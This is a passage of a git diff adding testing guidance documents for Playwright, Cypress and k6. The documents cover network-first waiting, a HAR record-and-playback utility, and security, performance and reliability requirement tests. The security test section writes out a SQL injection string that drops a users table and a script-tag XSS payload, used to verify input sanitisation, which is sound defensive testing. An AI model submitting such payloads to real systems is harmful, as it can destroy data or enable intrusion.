+  await page.goto('/dashboard');
+
+  // Wait for spinner to disappear (signals data loaded)
+  await expect(page.getByTestId('loading-spinner')).not.toBeVisible();
+  await expect(page.getByText('Dashboard')).toBeVisible();
+});
+
+// ✅ GOOD: Wait for custom event (advanced)
+test('wait for custom ready event', async ({ page }) => {
+  let appReady = false;
+  page.on('console', (msg) => {
+    if (msg.text() === 'App ready') appReady = true;
+  });
+
+  await page.goto('/dashboard');
+
+  // Poll until custom condition met
+  await page.waitForFunction(() => appReady, { timeout: 10000 });
+
+  await expect(page.getByText('Dashboard')).toBeVisible();
+});
+
+// ❌ BAD: Hard wait (arbitrary timeout)
+test('flaky hard wait example', async ({ page }) => {
+  await page.goto('/dashboard');
+  await page.waitForTimeout(3000); // WHY 3 seconds? What if slower? What if faster?
+  await expect(page.getByText('Dashboard')).toBeVisible(); // May fail if >3s
+});
+
+// Cypress equivalents
+describe('Deterministic Waiting', () => {
+  it('should wait for response', () => {
+    cy.intercept('GET', '**/api/users').as('getUsers');
+    cy.visit('/dashboard');
+    cy.wait('@getUsers').its('response.statusCode').should('eq', 200);
+    cy.contains('Dashboard').should('be.visible');
+  });
+
+  it('should wait for spinner to disappear', () => {
+    cy.visit('/dashboard');
+    cy.get('[data-testid="loading-spinner"]').should('not.exist');
+    cy.contains('Dashboard').should('be.visible');
+  });
+
+  // ❌ BAD: Hard wait
+  it('flaky hard wait', () => {
+    cy.visit('/dashboard');
+    cy.wait(3000); // NEVER DO THIS
+    cy.contains('Dashboard').should('be.visible');
+  });
+});
+```
+
+**Key Points**:
+
+- `waitForResponse()` with URL pattern or predicate = deterministic
+- `waitForLoadState('networkidle')` = wait for all network activity to finish
+- Wait for element state changes (spinner disappears, button enabled)
+- **NEVER** use `waitForTimeout()` or `cy.wait(ms)` - always non-deterministic
+
+### Example 5: Anti-Pattern - Navigate Then Mock
+
+**Problem**:
+
+```typescript
+// ❌ BAD: Race condition - mock registered AFTER navigation starts
+test('flaky test - navigate then mock', async ({ page }) => {
+  // Navigation starts immediately
+  await page.goto('/dashboard'); // Request to /api/users fires NOW
+
+  // Mock registered too late - request already sent
+  await page.route('**/api/users', (route) =>
+    route.fulfill({
+      status: 200,
+      body: JSON.stringify([{ id: 1, name: 'Test User' }]),
+    }),
+  );
+
+  // Test randomly passes/fails depending on timing
+  await expect(page.getByText('Test User')).toBeVisible(); // Flaky!
+});
+
+// ❌ BAD: No wait for response
+test('flaky test - no explicit wait', async ({ page }) => {
+  await page.route('**/api/users', (route) => route.fulfill({ status: 200, body: JSON.stringify([]) }));
+
+  await page.goto('/dashboard');
+
+  // Assertion runs immediately - may fail if response slow
+  await expect(page.getByText('No users found')).toBeVisible(); // Flaky!
+});
+
+// ❌ BAD: Generic timeout
+test('flaky test - hard wait', async ({ page }) => {
+  await page.goto('/dashboard');
+  await page.waitForTimeout(2000); // Arbitrary wait - brittle
+
+  await expect(page.getByText('Dashboard')).toBeVisible();
+});
+```
+
+**Why It Fails**:
+
+- **Mock after navigate**: Request fires during navigation, mock isn't active yet (race condition)
+- **No explicit wait**: Assertion runs before response arrives (timing-dependent)
+- **Hard waits**: Slow tests, brittle (fails if < timeout, wastes time if > timeout)
+- **Non-deterministic**: Passes locally, fails in CI (different speeds)
+
+**Better Approach**: Always intercept → trigger → await
+
+```typescript
+// ✅ GOOD: Intercept BEFORE navigate
+test('deterministic test', async ({ page }) => {
+  // Step 1: Register mock FIRST
+  await page.route('**/api/users', (route) =>
+    route.fulfill({
+      status: 200,
+      contentType: 'application/json',
+      body: JSON.stringify([{ id: 1, name: 'Test User' }]),
+    }),
+  );
+
+  // Step 2: Store response promise BEFORE trigger
+  const responsePromise = page.waitForResponse('**/api/users');
+
+  // Step 3: THEN trigger
+  await page.goto('/dashboard');
+
+  // Step 4: THEN await response
+  await responsePromise;
+
+  // Step 5: THEN assert (data is guaranteed loaded)
+  await expect(page.getByText('Test User')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- Order matters: Mock → Promise → Trigger → Await → Assert
+- No race conditions: Mock is active before request fires
+- Explicit wait: Response promise ensures data loaded
+- Deterministic: Always passes if app works correctly
+
+## Integration Points
+
+- **Used in workflows**: `*atdd` (test generation), `*automate` (test expansion), `*framework` (network setup)
+- **Related fragments**:
+  - `fixture-architecture.md` - Network fixture patterns
+  - `data-factories.md` - API-first setup with network
+  - `test-quality.md` - Deterministic test principles
+
+## Debugging Network Issues
+
+When network tests fail, check:
+
+1. **Timing**: Is interception registered **before** action?
+2. **URL pattern**: Does pattern match actual request URL?
+3. **Response format**: Is mocked response valid JSON/format?
+4. **Status code**: Is app checking for 200 vs 201 vs 204?
+5. **HAR file**: Capture real traffic to understand actual API contract
+
+```typescript
+// Debug network issues with logging
+test('debug network', async ({ page }) => {
+  // Log all requests
+  page.on('request', (req) => console.log('→', req.method(), req.url()));
+
+  // Log all responses
+  page.on('response', (resp) => console.log('←', resp.status(), resp.url()));
+
+  await page.goto('/dashboard');
+});
+```
+
+_Source: Murat Testing Philosophy (lines 94-137), Playwright network patterns, Cypress intercept best practices._
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/network-recorder.md b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/network-recorder.md
new file mode 100644
index 0000000..ca86323
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/network-recorder.md
@@ -0,0 +1,527 @@
+# Network Recorder Utility
+
+## Principle
+
+Record network traffic to HAR files during test execution, then play back from disk for offline testing. Enables frontend tests to run in complete isolation from backend services with intelligent stateful CRUD detection for realistic API behavior.
+
+## Rationale
+
+Traditional E2E tests require live backend services:
+
+- Slow (real network latency)
+- Flaky (backend instability affects tests)
+- Expensive (full stack running for UI tests)
+- Coupled (UI tests break when API changes)
+
+HAR-based recording/playback provides:
+
+- **True offline testing**: UI tests run without backend
+- **Deterministic behavior**: Same responses every time
+- **Fast execution**: No network latency
+- **Stateful mocking**: CRUD operations work naturally (not just read-only)
+- **Environment flexibility**: Map URLs for any environment
+
+## Quick Start
+
+### 1. Record Network Traffic
+
+```typescript
+// Set mode to 'record' to capture network traffic
+process.env.PW_NET_MODE = 'record';
+
+test('should add, edit and delete a movie', async ({ page, context, networkRecorder }) => {
+  // Setup network recorder - it will record all network traffic
+  await networkRecorder.setup(context);
+
+  // Your normal test code
+  await page.goto('/');
+  await page.fill('#movie-name', 'Inception');
+  await page.click('#add-movie');
+
+  // Network traffic is automatically saved to HAR file
+});
+```
+
+### 2. Playback Network Traffic
+
+```typescript
+// Set mode to 'playback' to use recorded traffic
+process.env.PW_NET_MODE = 'playback';
+
+test('should add, edit and delete a movie', async ({ page, context, networkRecorder }) => {
+  // Setup network recorder - it will replay from HAR file
+  await networkRecorder.setup(context);
+
+  // Same test code runs without hitting real backend!
+  await page.goto('/');
+  await page.fill('#movie-name', 'Inception');
+  await page.click('#add-movie');
+});
+```
+
+That's it! Your tests now run completely offline using recorded network traffic.
+
+## Pattern Examples
+
+### Example 1: Basic Record and Playback
+
+**Context**: The fundamental pattern - record traffic once, play back for all subsequent runs.
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/network-recorder/fixtures';
+
+// Set mode in test file (recommended)
+process.env.PW_NET_MODE = 'playback'; // or 'record'
+
+test('CRUD operations work offline', async ({ page, context, networkRecorder }) => {
+  // Setup recorder (records or plays back based on PW_NET_MODE)
+  await networkRecorder.setup(context);
+
+  await page.goto('/');
+
+  // First time (record mode): Records all network traffic to HAR
+  // Subsequent runs (playback mode): Plays back from HAR (no backend!)
+  await page.fill('#movie-name', 'Inception');
+  await page.click('#add-movie');
+
+  // Intelligent CRUD detection makes this work offline!
+  await expect(page.getByText('Inception')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- `PW_NET_MODE=record` captures traffic to HAR files
+- `PW_NET_MODE=playback` replays from HAR files
+- Set mode in test file or via environment variable
+- HAR files auto-organized by test name
+- Stateful mocking detects CRUD operations
+
+### Example 2: Complete CRUD Flow with HAR
+
+**Context**: Full create-read-update-delete flow that works completely offline.
+
+**Implementation**:
+
+```typescript
+process.env.PW_NET_MODE = 'playback';
+
+test.describe('Movie CRUD - offline with network recorder', () => {
+  test.beforeEach(async ({ page, networkRecorder, context }) => {
+    await networkRecorder.setup(context);
+    await page.goto('/');
+  });
+
+  test('should add, edit, delete movie browser-only', async ({ page, interceptNetworkCall }) => {
+    // Create
+    await page.fill('#movie-name', 'Inception');
+    await page.fill('#year', '2010');
+    await page.click('#add-movie');
+
+    // Verify create (reads from stateful HAR)
+    await expect(page.getByText('Inception')).toBeVisible();
+
+    // Update
+    await page.getByText('Inception').click();
+    await page.fill('#movie-name', "Inception Director's Cut");
+
+    const updateCall = interceptNetworkCall({
+      method: 'PUT',
+      url: '/movies/*',
+    });
+
+    await page.click('#save');
+    await updateCall; // Wait for update
+
+    // Verify update (HAR reflects state change!)
+    await page.click('#back');
+    await expect(page.getByText("Inception Director's Cut")).toBeVisible();
+
+    // Delete
+    await page.click(`[data-testid="delete-Inception Director's Cut"]`);
+
+    // Verify delete (HAR reflects removal!)
+    await expect(page.getByText("Inception Director's Cut")).not.toBeVisible();
+  });
+});
+```
+
+**Key Points**:
+
+- Full CRUD operations work offline
+- Stateful HAR mocking tracks creates/updates/deletes
+- Combine with `interceptNetworkCall` for deterministic waits
+- First run records, subsequent runs replay
+
+### Example 3: Common Patterns
+
+**Recording Only API Calls**:
+
+```typescript
+await networkRecorder.setup(context, {
+  recording: {
+    urlFilter: /\/api\//, // Only record API calls, ignore static assets
+  },
+});
+```
+
+**Playback with Fallback**:
+
+```typescript
+await networkRecorder.setup(context, {
+  playback: {
+    fallback: true, // Fall back to live requests if HAR entry missing
+  },
+});
+```
+
+**Custom HAR File Location**:
+
+```typescript
+await networkRecorder.setup(context, {
+  harFile: {
+    harDir: 'recordings/api-calls',
+    baseName: 'user-journey',
+    organizeByTestFile: false, // Optional: flatten directory structure
+  },
+});
+```
+
+**Directory Organization:**
+
+- `organizeByTestFile: true` (default): `har-files/test-file-name/baseName-test-title.har`
+- `organizeByTestFile: false`: `har-files/baseName-test-title.har`
+
+### Example 4: Response Content Storage - Embed vs Attach
+
+**Context**: Choose how response content is stored in HAR files.
+
+**`embed` (Default - Recommended):**
+
+```typescript
+await networkRecorder.setup(context, {
+  recording: {
+    content: 'embed', // Store content inline (default)
+  },
+});
+```
+
+**Pros:**
+
+- Single self-contained file - Easy to share, version control
+- Better for small-medium responses (API JSON, HTML pages)
+- HAR specification compliant
+
+**Cons:**
+
+- Larger HAR files
+- Not ideal for large binary content (images, videos)
+
+**`attach` (Alternative):**
+
+```typescript
+await networkRecorder.setup(context, {
+  recording: {
+    content: 'attach', // Store content separately
+  },
+});
+```
+
+**Pros:**
+
+- Smaller HAR files
+- Better for large responses (images, videos, documents)
+
+**Cons:**
+
+- Multiple files to manage
+- Harder to share
+
+**When to Use Each:**
+
+| Use `embed` (default) when          | Use `attach` when               |
+| ----------------------------------- | ------------------------------- |
+| Recording API responses (JSON, XML) | Recording large images, videos  |
+| Small to medium HTML pages          | HAR file size >50MB             |
+| You want a single, portable file    | Maximum disk efficiency needed  |
+| Sharing HAR files with team         | Working with ZIP archive output |
+
+### Example 5: Cross-Environment Compatibility (URL Mapping)
+
+**Context**: Record in dev environment, play back in CI with different base URLs.
+
+**The Problem**: HAR files contain URLs for the recording environment (e.g., `dev.example.com`). Playing back on a different environment fails.
+
+**Simple Hostname Mapping:**
+
+```typescript
+await networkRecorder.setup(context, {
+  playback: {
+    urlMapping: {
+      hostMapping: {
+        'preview.example.com': 'dev.example.com',
+        'staging.example.com': 'dev.example.com',
+        'localhost:3000': 'dev.example.com',
+      },
+    },
+  },
+});
+```
+
+**Pattern-Based Mapping (Recommended):**
+
+```typescript
+await networkRecorder.setup(context, {
+  playback: {
+    urlMapping: {
+      patterns: [
+        // Map any preview-XXXX subdomain to dev
+        { match: /preview-\d+\.example\.com/, replace: 'dev.example.com' },
+      ],
+    },
+  },
+});
+```
+
+**Custom Function:**
+
+```typescript
+await networkRecorder.setup(context, {
+  playback: {
+    urlMapping: {
+      mapUrl: (url) => url.replace('staging.example.com', 'dev.example.com'),
+    },
+  },
+});
+```
+
+**Complex Multi-Environment Example:**
+
+```typescript
+await networkRecorder.setup(context, {
+  playback: {
+    urlMapping: {
+      hostMapping: {
+        'localhost:3000': 'admin.example.com',
+        'admin-staging.example.com': 'admin.example.com',
+        'admin.example.com': 'admin.example.com',
+      },
+      patterns: [
+        { match: /admin-\d+\.example\.com/, replace: 'admin.example.com' },
+        { match: /admin-staging-pr-\w+-\d\.example\.com/, replace: 'admin.example.com' },
+      ],
+    },
+  },
+});
+```
+
+**Benefits:**
+
+- Record once on dev, all environments map back to recordings
+- CORS headers automatically updated based on request origin
+- Debug with: `LOG_LEVEL=debug npm run test`
+
+## Why Use This Instead of Native Playwright?
+
+| Native Playwright (`routeFromHAR`) | network-recorder Utility       |
+| ---------------------------------- | ------------------------------ |
+| ~80 lines setup boilerplate        | ~5 lines total                 |
+| Manual HAR file management         | Automatic file organization    |
+| Complex setup/teardown             | Automatic cleanup via fixtures |
+| **Read-only tests only**           | **Full CRUD support**          |
+| **Stateless**                      | **Stateful mocking**           |
+| Manual URL mapping                 | Automatic environment mapping  |
+
+**The game-changer: Stateful CRUD detection**
+
+Native Playwright HAR playback is stateless - a POST create followed by GET list won't show the created item. This utility intelligently tracks CRUD operations in memory to reflect state changes, making offline tests behave like real APIs.
+
+## How Stateful CRUD Detection Works
+
+When in playback mode, the Network Recorder automatically analyzes your HAR file to detect CRUD patterns. If it finds:
+
+- Multiple GET requests to the same resource endpoint (e.g., `/movies`)
+- Mutation operations (POST, PUT, DELETE) to those resources
+- Evidence of state changes between identical requests
+
+It automatically switches from static HAR playback to an intelligent stateful mock that:
+
+- Maintains state across requests
+- Auto-generates IDs for new resources
+- Returns proper 404s for deleted resources
+- Supports polling scenarios where state changes over time
+
+**This happens automatically - no configuration needed!**
+
+## API Reference
+
+### NetworkRecorder Methods
+
+| Method               | Return Type              | Description                                   |
+| -------------------- | ------------------------ | --------------------------------------------- |
+| `setup(context)`     | `Promise<void>`          | Sets up recording/playback on browser context |
+| `cleanup()`          | `Promise<void>`          | Flushes data to disk and cleans up memory     |
+| `getContext()`       | `NetworkRecorderContext` | Gets current recorder context information     |
+| `getStatusMessage()` | `string`                 | Gets human-readable status message            |
+| `getHarStats()`      | `Promise<HarFileStats>`  | Gets HAR file statistics and metadata         |
+
+### Understanding `cleanup()`
+
+The `cleanup()` method performs memory and resource cleanup - **it does NOT delete HAR files**:
+
+**What it does:**
+
+- Flushes recorded data to disk (writes HAR file in recording mode)
+- Releases file locks
+- Clears in-memory data
+- Resets internal state
+
+**What it does NOT do:**
+
+- Delete HAR files from disk
+- Remove recorded network traffic
+- Clear browser context or cookies
+
+### Configuration Options
+
+```typescript
+type NetworkRecorderConfig = {
+  harFile?: {
+    harDir?: string; // Directory for HAR files (default: 'har-files')
+    baseName?: string; // Base name for HAR files (default: 'network-traffic')
+    organizeByTestFile?: boolean; // Organize by test file (default: true)
+  };
+
+  recording?: {
+    content?: 'embed' | 'attach'; // Response content handling (default: 'embed')
+    urlFilter?: string | RegExp; // URL filter for recording
+    update?: boolean; // Update existing HAR files (default: false)
+  };
+
+  playback?: {
+    fallback?: boolean; // Fall back to live requests (default: false)
+    urlFilter?: string | RegExp; // URL filter for playback
+    updateMode?: boolean; // Update mode during playback (default: false)
+  };
+
+  forceMode?: 'record' | 'playback' | 'disabled';
+};
+```
+
+## Environment Configuration
+
+Control the recording mode using the `PW_NET_MODE` environment variable:
+
+```bash
+# Record mode - captures network traffic to HAR files
+PW_NET_MODE=record npm run test:pw
+
+# Playback mode - replays network traffic from HAR files
+PW_NET_MODE=playback npm run test:pw
+
+# Disabled mode - no network recording/playback
+PW_NET_MODE=disabled npm run test:pw
+
+# Default behavior (when PW_NET_MODE is empty/unset) - same as disabled
+npm run test:pw
+```
+
+**Tip**: We recommend setting `process.env.PW_NET_MODE` directly in your test file for better control.
+
+## Troubleshooting
+
+### HAR File Not Found
+
+If you see "HAR file not found" errors during playback:
+
+1. Ensure you've recorded the test first with `PW_NET_MODE=record`
+2. Check the HAR file exists in the expected location (usually `har-files/`)
+3. Enable fallback mode: `playback: { fallback: true }`
+
+### Authentication and Network Recording
+
+The network recorder works seamlessly with authentication:
+
+```typescript
+test('Authenticated recording', async ({ page, context, authSession, networkRecorder }) => {
+  // First authenticate
+  await authSession.login('testuser', 'password');
+
+  // Then setup network recording with authenticated context
+  await networkRecorder.setup(context);
+
+  // Test authenticated flows
+  await page.goto('/dashboard');
+});
+```
+
+### Concurrent Test Issues
+
+The recorder includes built-in file locking for safe parallel execution. Each test gets its own HAR file based on the test name.
+
+## Integration with Other Utilities
+
+**With interceptNetworkCall (deterministic waits):**
+
+```typescript
+test('use both utilities', async ({ page, context, networkRecorder, interceptNetworkCall }) => {
+  await networkRecorder.setup(context);
+
+  const createCall = interceptNetworkCall({
+    method: 'POST',
+    url: '/api/movies',
+  });
+
+  await page.click('#add-movie');
+  await createCall; // Wait for create (works with HAR!)
+
+  // Network recorder provides playback, intercept provides determinism
+});
+```
+
+## Related Fragments
+
+- `overview.md` - Installation and fixture patterns
+- `intercept-network-call.md` - Combine for deterministic offline tests
+- `auth-session.md` - Record authenticated traffic
+- `network-first.md` - Core pattern for intercept-before-navigate
+
+## Anti-Patterns
+
+**DON'T mix record and playback in same test:**
+
+```typescript
+process.env.PW_NET_MODE = 'record';
+// ... some test code ...
+process.env.PW_NET_MODE = 'playback'; // Don't switch mid-test
+```
+
+**DO use one mode per test:**
+
+```typescript
+process.env.PW_NET_MODE = 'playback'; // Set once at top
+
+test('my test', async ({ page, context, networkRecorder }) => {
+  await networkRecorder.setup(context);
+  // Entire test uses playback mode
+});
+```
+
+**DON'T forget to call setup:**
+
+```typescript
+test('broken', async ({ page, networkRecorder }) => {
+  await page.goto('/'); // HAR not active!
+});
+```
+
+**DO always call setup before navigation:**
+
+```typescript
+test('correct', async ({ page, context, networkRecorder }) => {
+  await networkRecorder.setup(context); // Must setup first
+  await page.goto('/'); // Now HAR is active
+});
+```
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/nfr-criteria.md b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/nfr-criteria.md
new file mode 100644
index 0000000..33d5814
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/nfr-criteria.md
@@ -0,0 +1,670 @@
+# Non-Functional Requirements (NFR) Criteria
+
+## Principle
+
+Non-functional requirements (security, performance, reliability, maintainability) are **validated through automated tests**, not checklists. NFR assessment uses objective pass/fail criteria tied to measurable thresholds. Ambiguous requirements default to CONCERNS until clarified.
+
+## Rationale
+
+**The Problem**: Teams ship features that "work" functionally but fail under load, expose security vulnerabilities, or lack error recovery. NFRs are treated as optional "nice-to-haves" instead of release blockers.
+
+**The Solution**: Define explicit NFR criteria with automated validation. Security tests verify auth/authz and secret handling. Performance tests enforce SLO/SLA thresholds with profiling evidence. Reliability tests validate error handling, retries, and health checks. Maintainability is measured by test coverage, code duplication, and observability.
+
+**Why This Matters**:
+
+- Prevents production incidents (security breaches, performance degradation, cascading failures)
+- Provides objective release criteria (no subjective "feels fast enough")
+- Automates compliance validation (audit trail for regulated environments)
+- Forces clarity on ambiguous requirements (default to CONCERNS)
+
+## Pattern Examples
+
+### Example 1: Security NFR Validation (Auth, Secrets, OWASP)
+
+**Context**: Automated security tests enforcing authentication, authorization, and secret handling
+
+**Implementation**:
+
+```typescript
+// tests/nfr/security.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Security NFR: Authentication & Authorization', () => {
+  test('unauthenticated users cannot access protected routes', async ({ page }) => {
+    // Attempt to access dashboard without auth
+    await page.goto('/dashboard');
+
+    // Should redirect to login (not expose data)
+    await expect(page).toHaveURL(/\/login/);
+    await expect(page.getByText('Please sign in')).toBeVisible();
+
+    // Verify no sensitive data leaked in response
+    const pageContent = await page.content();
+    expect(pageContent).not.toContain('user_id');
+    expect(pageContent).not.toContain('api_key');
+  });
+
+  test('JWT tokens expire after 15 minutes', async ({ page, request }) => {
+    // Login and capture token
+    await page.goto('/login');
+    await page.getByLabel('Email').fill('test@example.com');
+    await page.getByLabel('Password').fill('ValidPass123!');
+    await page.getByRole('button', { name: 'Sign In' }).click();
+
+    const token = await page.evaluate(() => localStorage.getItem('auth_token'));
+    expect(token).toBeTruthy();
+
+    // Wait 16 minutes (use mock clock in real tests)
+    await page.clock.fastForward('00:16:00');
+
+    // Token should be expired, API call should fail
+    const response = await request.get('/api/user/profile', {
+      headers: { Authorization: `Bearer ${token}` },
+    });
+
+    expect(response.status()).toBe(401);
+    const body = await response.json();
+    expect(body.error).toContain('expired');
+  });
+
+  test('passwords are never logged or exposed in errors', async ({ page }) => {
+    // Trigger login error
+    await page.goto('/login');
+    await page.getByLabel('Email').fill('test@example.com');
+    await page.getByLabel('Password').fill('WrongPassword123!');
+
+    // Monitor console for password leaks
+    const consoleLogs: string[] = [];
+    page.on('console', (msg) => consoleLogs.push(msg.text()));
+
+    await page.getByRole('button', { name: 'Sign In' }).click();
+
+    // Error shown to user (generic message)
+    await expect(page.getByText('Invalid credentials')).toBeVisible();
+
+    // Verify password NEVER appears in console, DOM, or network
+    const pageContent = await page.content();
+    expect(pageContent).not.toContain('WrongPassword123!');
+    expect(consoleLogs.join('\n')).not.toContain('WrongPassword123!');
+  });
+
+  test('RBAC: users can only access resources they own', async ({ page, request }) => {
+    // Login as User A
+    const userAToken = await login(request, 'userA@example.com', 'password');
+
+    // Try to access User B's order
+    const response = await request.get('/api/orders/user-b-order-id', {
+      headers: { Authorization: `Bearer ${userAToken}` },
+    });
+
+    expect(response.status()).toBe(403); // Forbidden
+    const body = await response.json();
+    expect(body.error).toContain('insufficient permissions');
+  });
+
+  test('SQL injection attempts are blocked', async ({ page }) => {
+    await page.goto('/search');
+
+    // Attempt SQL injection
+    await page.getByPlaceholder('Search products').fill("'; DROP TABLE users; --");
+    await page.getByRole('button', { name: 'Search' }).click();
+
+    // Should return empty results, NOT crash or expose error
+    await expect(page.getByText('No results found')).toBeVisible();
+
+    // Verify app still works (table not dropped)
+    await page.goto('/dashboard');
+    await expect(page.getByText('Welcome')).toBeVisible();
+  });
+
+  test('XSS attempts are sanitized', async ({ page }) => {
+    await page.goto('/profile/edit');
+
+    // Attempt XSS injection
+    const xssPayload = '<script>alert("XSS")</script>';
+    await page.getByLabel('Bio').fill(xssPayload);
+    await page.getByRole('button', { name: 'Save' }).click();
+
+    // Reload and verify XSS is escaped (not executed)
+    await page.reload();
+    const bio = await page.getByTestId('user-bio').textContent();
+
+    // Text should be escaped, script should NOT execute
+    expect(bio).toContain('&lt;script&gt;');
+    expect(bio).not.toContain('<script>');
+  });
+});
+
+// Helper
+async function login(request: any, email: string, password: string): Promise<string> {
+  const response = await request.post('/api/auth/login', {
+    data: { email, password },
+  });
+  const body = await response.json();
+  return body.token;
+}
+```
+
+**Key Points**:
+
+- Authentication: Unauthenticated access redirected (not exposed)
+- Authorization: RBAC enforced (403 for insufficient permissions)
+- Token expiry: JWT expires after 15 minutes (automated validation)
+- Secret handling: Passwords never logged or exposed in errors
+- OWASP Top 10: SQL injection and XSS blocked (input sanitization)
+
+**Security NFR Criteria**:
+
+- ✅ PASS: All 6 tests green (auth, authz, token expiry, secret handling, SQL injection, XSS)
+- ⚠️ CONCERNS: 1-2 tests failing with mitigation plan and owner assigned
+- ❌ FAIL: Critical exposure (unauthenticated access, password leak, SQL injection succeeds)
+
+---
+
+### Example 2: Performance NFR Validation (k6 Load Testing for SLO/SLA)
+
+**Context**: Use k6 for load testing, stress testing, and SLO/SLA enforcement (NOT Playwright)
+
+**Implementation**:
+
+```javascript
+// tests/nfr/performance.k6.js
+import http from 'k6/http';
+import { check, sleep } from 'k6';
+import { Rate, Trend } from 'k6/metrics';
+
+// Custom metrics
+const errorRate = new Rate('errors');
+const apiDuration = new Trend('api_duration');
+
+// Performance thresholds (SLO/SLA)
+export const options = {
+  stages: [
+    { duration: '1m', target: 50 }, // Ramp up to 50 users
+    { duration: '3m', target: 50 }, // Stay at 50 users for 3 minutes
+    { duration: '1m', target: 100 }, // Spike to 100 users
+    { duration: '3m', target: 100 }, // Stay at 100 users
+    { duration: '1m', target: 0 }, // Ramp down
+  ],
+  thresholds: {
+    // SLO: 95% of requests must complete in <500ms
+    http_req_duration: ['p(95)<500'],
+    // SLO: Error rate must be <1%
+    errors: ['rate<0.01'],
+    // SLA: API endpoints must respond in <1s (99th percentile)
+    api_duration: ['p(99)<1000'],
+  },
+};
+
+export default function () {
+  // Test 1: Homepage load performance
+  const homepageResponse = http.get(`${__ENV.BASE_URL}/`);
+  check(homepageResponse, {
+    'homepage status is 200': (r) => r.status === 200,
+    'homepage loads in <2s': (r) => r.timings.duration < 2000,
+  });
+  errorRate.add(homepageResponse.status !== 200);
+
+  // Test 2: API endpoint performance
+  const apiResponse = http.get(`${__ENV.BASE_URL}/api/products?limit=10`, {
+    headers: { Authorization: `Bearer ${__ENV.API_TOKEN}` },
+  });
+  check(apiResponse, {
+    'API status is 200': (r) => r.status === 200,
+    'API responds in <500ms': (r) => r.timings.duration < 500,
+  });
+  apiDuration.add(apiResponse.timings.duration);
+  errorRate.add(apiResponse.status !== 200);
+
+  // Test 3: Search endpoint under load
+  const searchResponse = http.get(`${__ENV.BASE_URL}/api/search?q=laptop&limit=100`);
+  check(searchResponse, {
+    'search status is 200': (r) => r.status === 200,
+    'search responds in <1s': (r) => r.timings.duration < 1000,
+    'search returns results': (r) => JSON.parse(r.body).results.length > 0,
+  });
+  errorRate.add(searchResponse.status !== 200);
+
+  sleep(1); // Realistic user think time
+}
+
+// Threshold validation (run after test)
+export function handleSummary(data) {
+  const p95Duration = data.metrics.http_req_duration.values['p(95)'];
+  const p99ApiDuration = data.metrics.api_duration.values['p(99)'];
+  const errorRateValue = data.metrics.errors.values.rate;
+
+  console.log(`P95 request duration: ${p95Duration.toFixed(2)}ms`);
+  console.log(`P99 API duration: ${p99ApiDuration.toFixed(2)}ms`);
+  console.log(`Error rate: ${(errorRateValue * 100).toFixed(2)}%`);
+
+  return {
+    'summary.json': JSON.stringify(data),
+    stdout: `
+Performance NFR Results:
+- P95 request duration: ${p95Duration < 500 ? '✅ PASS' : '❌ FAIL'} (${p95Duration.toFixed(2)}ms / 500ms threshold)
+- P99 API duration: ${p99ApiDuration < 1000 ? '✅ PASS' : '❌ FAIL'} (${p99ApiDuration.toFixed(2)}ms / 1000ms threshold)
+- Error rate: ${errorRateValue < 0.01 ? '✅ PASS' : '❌ FAIL'} (${(errorRateValue * 100).toFixed(2)}% / 1% threshold)
+    `,
+  };
+}
+```
+
+**Run k6 tests:**
+
+```bash
+# Local smoke test (10 VUs, 30s)
+k6 run --vus 10 --duration 30s tests/nfr/performance.k6.js
+
+# Full load test (stages defined in script)
+k6 run tests/nfr/performance.k6.js
+
+# CI integration with thresholds
+k6 run --out json=performance-results.json tests/nfr/performance.k6.js
+```
+
+**Key Points**:
+
+- **k6 is the right tool** for load testing (NOT Playwright)
+- SLO/SLA thresholds enforced automatically (`p(95)<500`, `rate<0.01`)
+- Realistic load simulation (ramp up, sustained load, spike testing)
+- Comprehensive metrics (p50, p95, p99, error rate, throughput)
+- CI-friendly (JSON output, exit codes based on thresholds)
+
+**Performance NFR Criteria**:
+
+- ✅ PASS: All SLO/SLA targets met with k6 profiling evidence (p95 < 500ms, error rate < 1%)
+- ⚠️ CONCERNS: Trending toward limits (e.g., p95 = 480ms approaching 500ms) or missing baselines
+- ❌ FAIL: SLO/SLA breached (e.g., p95 > 500ms) or error rate > 1%
+
+**Performance Testing Levels (from Test Architect course):**
+
+- **Load testing**: System behavior under expected load
+- **Stress testing**: System behavior under extreme load (breaking point)
+- **Spike testing**: Sudden load increases (traffic spikes)
+- **Endurance/Soak testing**: System behavior under sustained load (memory leaks, resource exhaustion)
+- **Benchmarking**: Baseline measurements for comparison
+
+**Note**: Playwright can validate **perceived performance** (Core Web Vitals via Lighthouse), but k6 validates **system performance** (throughput, latency, resource limits under load)
+
+---
+
+### Example 3: Reliability NFR Validation (Playwright for UI Resilience)
+
+**Context**: Automated reliability tests validating graceful degradation and recovery paths
+
+**Implementation**:
+
+```typescript
+// tests/nfr/reliability.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Reliability NFR: Error Handling & Recovery', () => {
+  test('app remains functional when API returns 500 error', async ({ page, context }) => {
+    // Mock API failure
+    await context.route('**/api/products', (route) => {
+      route.fulfill({ status: 500, body: JSON.stringify({ error: 'Internal Server Error' }) });
+    });
+
+    await page.goto('/products');
+
+    // User sees error message (not blank page or crash)
+    await expect(page.getByText('Unable to load products. Please try again.')).toBeVisible();
+    await expect(page.getByRole('button', { name: 'Retry' })).toBeVisible();
+
+    // App navigation still works (graceful degradation)
+    await page.getByRole('link', { name: 'Home' }).click();
+    await expect(page).toHaveURL('/');
+  });
+
+  test('API client retries on transient failures (3 attempts)', async ({ page, context }) => {
+    let attemptCount = 0;
+
+    await context.route('**/api/checkout', (route) => {
+      attemptCount++;
+
+      // Fail first 2 attempts, succeed on 3rd
+      if (attemptCount < 3) {
+        route.fulfill({ status: 503, body: JSON.stringify({ error: 'Service Unavailable' }) });
+      } else {
+        route.fulfill({ status: 200, body: JSON.stringify({ orderId: '12345' }) });
+      }
+    });
+
+    await page.goto('/checkout');
+    await page.getByRole('button', { name: 'Place Order' }).click();
+
+    // Should succeed after 3 attempts
+    await expect(page.getByText('Order placed successfully')).toBeVisible();
